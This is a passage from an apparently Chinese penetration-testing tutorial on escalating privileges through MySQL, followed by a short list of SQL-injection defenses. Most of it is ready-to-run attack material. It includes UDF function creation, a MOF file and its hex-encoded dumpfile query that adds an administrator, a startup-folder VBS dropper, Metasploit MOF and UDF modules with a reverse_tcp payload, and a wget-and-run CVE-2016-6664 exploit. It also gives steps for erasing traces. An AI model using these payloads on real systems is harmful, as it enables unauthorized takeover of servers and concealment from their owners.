为了演示,在这里我是手工创建了个plugin目录(ps: 勿喷啦,我用的phpstudy环境,重新安装一个mysql的话有可能会冲突,所以就没搞,毕竟原理都一样)。
继续,到这儿如果没有报错的话就说明已经在目标主机上成功生成了udf文件。下面要导入udf函数:
DROP TABLE udftmp; //为了删除痕迹,把刚刚新建的udftmp表删掉
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; //导入udf函数
导入成功的话就可以使用了:
SELECT sys_eval('ipconfig');
返回网卡信息
如果得到了数据库的用户名和密码,并且可以远程连接的话,可以使用MSF里面的 exploit/multi/mysql/mysql_udf_payload 模块自动注入。
使用MSF进行UDF提权
使用MSF中的 exploit/multi/mysql/mysql_udf_payload 模块也可以进行UDF提权。MSF会将dll文件写入lib\plugin\目录下(前提是该目录存在,如果该目录不存在的话,则无法执行成功),dll文件名为任意创建的名字。该dll文件中包含sys_exec()和sys_eval()两个函数,但是默认只创建sys_exec()函数,该函数执行并不会有回显。我们可以手动创建 sys_eval() 函数,来执行有回显的命令。
select * from mysql.func where name = "sys_exec";
手动使用该 dll 文件创建sys_eval()函数,来执行有命令的回显。
create function sys_eval returns string soname "XJhSEGuE.dll";
select sys_eval("whoami");
附几个常用的cmd指令,用于添加一个管理员用户:
net user ka1n4t ka1n4t~!@ /add //添加新用户:ka1n4t,密码为ka1n4t~!@
net localgroup administrators ka1n4t /add //将ka1n4t添加至管理员分组
清除痕迹
drop function cmdshell; 删除函数
delete from mysql.func where name='cmdshell' 删除函数
26.2 mof提权
MOF 提权是一个有历史的漏洞,基本上在 Windows Server 2003 的环境下才可以成功。提权的原理是 C:/Windows/system32/wbem/mof/ 目录下的 mof 文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。
手工复现
上传mof文件
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
MySQL 写文件的特性将这个 MOF 文件导入到 C:/Windows/system32/wbem/mof/ 目录下,依然采用上述编码的方式:
select 0x23707261676D61206E616D65737061636528225C5C5C5C2E5C5C726F6F745C5C737562736372697074696F6E2229200A0A696E7374616E6365206F66205F5F4576656E7446696C74657220617320244576656E7446696C746572200A7B200A202020204576656E744E616D657370616365203D2022526F6F745C5C43696D7632223B200A202020204E616D6520203D202266696C745032223B200A202020205175657279203D202253656C656374202A2046726F6D205F5F496E7374616E63654D6F64696669636174696F6E4576656E742022200A20202020202020202020202022576865726520546172676574496E7374616E636520497361205C2257696E33325F4C6F63616C54696D655C222022200A20202020202020202020202022416E6420546172676574496E7374616E63652E5365636F6E64203D2035223B200A2020202051756572794C616E6775616765203D202257514C223B200A7D3B200A0A696E7374616E6365206F66204163746976655363726970744576656E74436F6E73756D65722061732024436F6E73756D6572200A7B200A202020204E616D65203D2022636F6E735043535632223B200A20202020536372697074696E67456E67696E65203D20224A536372697074223B200A2020202053637269707454657874203D200A2276617220575348203D206E657720416374697665584F626A656374285C22575363726970742E5368656C6C5C22295C6E5753482E72756E285C226E65742E6578652075736572206861636B6572205040737377307264202F6164645C22295C6E5753482E72756E285C226E65742E657865206C6F63616C67726F75702061646D696E6973747261746F7273206861636B6572202F6164645C2229223B200A7D3B200A0A696E7374616E6365206F66205F5F46696C746572546F436F6E73756D657242696E64696E67200A7B200A20202020436F6E73756D65722020203D2024436F6E73756D65723B200A2020202046696C746572203D20244576656E7446696C7465723B200A7D3B0A into dumpfile "C:/windows/system32/wbem/mof/test.mof";
执行成功的的时候,test.mof 会出现在:c:/windows/system32/wbem/goog/ 目录下 否则出现在 c:/windows/system32/wbem/bad 目录下:
MSF MOF 提权
MSF 里面也自带了 MOF 提权模块,使用起来也比较方便而且也做到了自动清理痕迹的效果,实际操作起来效率也还不错:
msf6 > use exploit/windows/mysql/mysql_mof
# 设置好自己的 payload
msf6 > set payload windows/meterpreter/reverse_tcp
# 设置目标 MySQL 的基础信息
msf6 > set rhosts 10.211.55.21
msf6 > set username root
msf6 > set password root
msf6 > run
实际运行效果如下:
26.3 启动项提权
MySQL的启动项提权,原理就是通过mysql把一段vbs脚本导入到系统的启动项下,如果管理员启动或者重启的服务器,那么该脚本就会被调用,并执行vbs脚本里面的命令。
以下是启动项路径
#2003
C:\Documents and Settings\Administrator\Start Menu\Programs\Startup
C:\Documents and Settings\All Users\Start Menu\Programs\Startup
#2008
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
有了路径我们在mysql的shell下输入如下代码
create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"") " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user suifeng p@ssw0rd /add"",0) " );
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators suifeng /add"",0) " );
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
然后我们在对应路径下就可以看到我们的vbs脚本了
然后重启,即可发现vbs脚本里面创建的用户。
26.4 CVE-2016-6663、CVE-2016-6664组合提权
1、利用CVE-2016-6663将www-data权限提升为mysql权限:
cd /var/www/html/
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient
./mysql-privesc-race test 123456 localhost testdb
2、利用CVE-2016-6664将Mysql权限提升为root权限:
wget http://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.sh
chmod 777 mysql-chowned.sh
./mysql-chowned.sh /var/log/mysql/error.log
27 防御
- 关闭应用的错误提示
- 加waf
- 对输入进行过滤
- 限制输入长度
- 限制好数据库权限,drop/create/truncate等权限谨慎grant
- 预编译好sql语句,python和Php中一般使用?作为占位符。这种方法是从编程框架方面解决利用占位符参数的sql注入,只能说一定程度上防止注入。还有缓存溢出、终止字符等。
- 数据库信息加密安全(引导到密码学方面)。不采用md5因为有彩虹表,一般是一次md5后加盐再md5
- 清晰的编程规范,结对/自动化代码review,加大量现成的解决方案(PreparedStatement,ActiveRecord,歧义字符过滤, 只可访问存储过程balabala)已经让SQL注入的风险变得非常低了。
- 对于 int 进行强制类型转换
- 对 SQL 的异常响应进行判断,进行自定义响应
- 禁用多语句,比如 PHP 中的 multi_query
- 比如 go 去调用 gorm库,把数据库表字段跟代码中的类进行绑定,增删改查都直接调用函数,不需要自己编写 sql
- order by mybatis choose 标签